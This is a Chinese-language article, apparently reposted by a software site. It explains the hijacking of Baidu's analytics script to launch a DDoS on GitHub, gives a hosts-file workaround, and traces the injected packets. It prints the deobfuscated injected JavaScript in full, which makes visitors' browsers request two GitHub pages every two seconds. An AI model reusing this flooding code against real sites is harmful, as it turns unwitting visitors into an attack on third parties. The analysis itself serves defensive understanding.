热搜:

一招解决WARNING: malicious javascript detected on this domain

2021-03-28 03:58:50文章来源:金顺软件园热度:0

更多

浏览网站的时候不断弹出"WARNING: malicious javascript detected on this domain"窗口,这是中毒了吗?这其实是百度统计JS代码被劫持用来DDOS Github。具体原因是百度联盟的JS被劫持用于对GitHub进行DDOS攻击。而又有很多网站使用了百度联盟,于是很多网站都加载了用于攻击的JS脚本。有意思的是,似乎只有境外IP访问百度联盟网站时才会出现被劫持的情况。更多最新IT资讯尽在金顺软件园http://www.jinshun168.com/

一招解决WARNING: malicious javascript detected on this domain

临时解决方法:

1.修改hosts

在Hosts文件中添加如下条目:

127.0.0.1 hm.baidu.com   127.0.0.1 cbjs.baidu.com   127.0.0.1 dup.baidustatic.com

参考hosts文件修改图文教程、android手机怎么修改hosts、苹果Macb电脑修改Hosts教程

注意:如果上述方法无效,还烦请大家积极反馈。加入一条"127.0.0.1 github.com"肯定是能解决问题的,但副作用太大。

2.禁止弹窗

谷歌Chrome浏览器或者360极速浏览器等可以屏蔽持续弹出的弹窗,多点击几次确定,然后Chrome就会提示“不再出现警告”。

详细原因分析:

今天中午刷着全国比较大的信息安全从业人员同性交友社区zone.wooyun.org的时候,忽然浏览器每隔2秒就不断的弹窗:

malicious javascript detected on this domain

一招解决WARNING: malicious javascript detected on this domain

我第一反应就是不知道哪个调皮的基友又把zone给XSS了,马上打开开发者工具分析。

0x01 细节


之后立刻发现弹窗的js居然是从github加载的:

一招解决WARNING: malicious javascript detected on this domain

可是为什么乌云会从github加载js呢,并且还是从greatfire和纽约时报镜像加载。

第一反应是页面有xss或者js被劫持了,找了半天终于找到了,居然是

hm.baidu.com/h.js

这个js的确被乌云加载了没错,这是百度统计的js代码,打开后里面是一个简单加密后的js,eval了一串编码后的内容,随便找了个在线解密看了下,发现如下内容:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

document.write("<script src=&#39;http://libs.baidu.com/jquery/2.0.0/jquery.min.js&#39;>x3c/script>");

!window.jQuery && document.write("<script src=&#39;http://code.jquery.com/jquery-latest.js&#39;>x3c/script>");

startime = (new Date).getTime();

var count = 0;

 

function unixtime() {

    var a = new Date;

    return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3

}

url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];

NUM = url_array.length;

 

function r_send2() {

    var a = unixtime() % NUM;

    get(url_array[a])

}

 

function get(a) {

    var b;

    $.ajax({

        url: a,

        dataType: "script",

        timeout: 1E4,

        cache: !0,

        beforeSend: function() {

            requestTime = (new Date).getTime()

        },

        complete: function() {

            responseTime = (new Date).getTime();

            b = Math.floor(responseTime - requestTime);

            3E5 > responseTime - startime && (r_send(b), count += 1)

        }

    })

}

 

function r_send(a) {

    setTimeout("r_send2()", a)

}

setTimeout("r_send2()", 2E3);

大概功能就是关闭缓存后每隔2秒加载一次

url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];

里面的两个url

问了下墙内的小伙伴们,他们看到的js都是正常的,但是通过墙外ip访问

http://hm.baidu.com/h.js

就会得到上面的js文件,每隔2秒请求一下这两个url。

打开twitter看了下,似乎从3月18号以来Github就受到了DDoS攻击,之后greatfire把被攻击的页面内容换成了

1

alert("WARNING: malicious javascript detected on this domain")

以弹窗的方式阻止了js的循环执行。

一招解决WARNING: malicious javascript detected on this domain

图3 国外ip traceroute到hm.baidu.com的记录

似乎DNS并没有被劫持,看来是像之前一样直接把IP劫持了或者直接在HTTP协议里替换文件。

一招解决WARNING: malicious javascript detected on this domain

扫了下端口,只开了80和443,通过https协议访问后是正常的空页面(只有带referer才会出现js文件)。

一招解决WARNING: malicious javascript detected on this domain

作者要进行抓包分析时劫持已经停止,在twitter上看到有人已经分析过引用如下:

抓包跟踪,正常百度服务器返回给我日本VPS的TTL为51, RESP返回HTTP 200 OK的报文的TTL是47,可以确定的是有中间设备对VPS发了伪造报文。

一招解决WARNING: malicious javascript detected on this domain

真是无耻,呵呵

忽然想起一句话,之前DNS被劫持到外国服务器的时候某站长说的:

They have weaponized their entire population.

现在应该是:

They have weaponized their entire population of the Earth.

以上,就是金顺软件园小编给大家带来的一招解决WARNING: malicious javascript detected on this domain全部内容,希望对大家有所帮助!

上一篇分区助手合并硬盘分区图文教程下一篇修改桌面文件默认路径保存位置
编辑:金顺软件园